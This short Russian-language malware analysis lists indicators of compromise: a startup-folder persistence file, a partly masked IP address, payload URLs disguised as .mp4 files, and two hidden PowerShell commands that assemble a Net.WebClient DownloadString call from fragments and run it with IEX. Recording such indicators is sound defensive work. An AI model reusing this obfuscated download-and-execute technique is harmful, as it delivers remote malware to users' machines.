Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\deleteapp.url
- '92.##5.85.66':80
- http://92.##5.85.66/b.mp4
- http://92.##5.85.66/a.mp4
- http://92.##5.85.66/jp.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$TV1='ject Net.WebCli';$TV2='loadString(''http://92.##5.85.66/a.mp4'')';$TV3='ent).Down';$TV4='(New-Ob';$DP=IEX ($TV4,$TV1,$TV3,$TV2 -Join '')|IEX"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$TV1='ject Net.WebCli';$TV2='loadString(''http://92.##5.85.66/b.mp4'')';$TV3='ent).Down';$TV4='(New-Ob';$DP=IEX ($TV4,$TV1,$TV3,$TV2 -Join '')|IEX"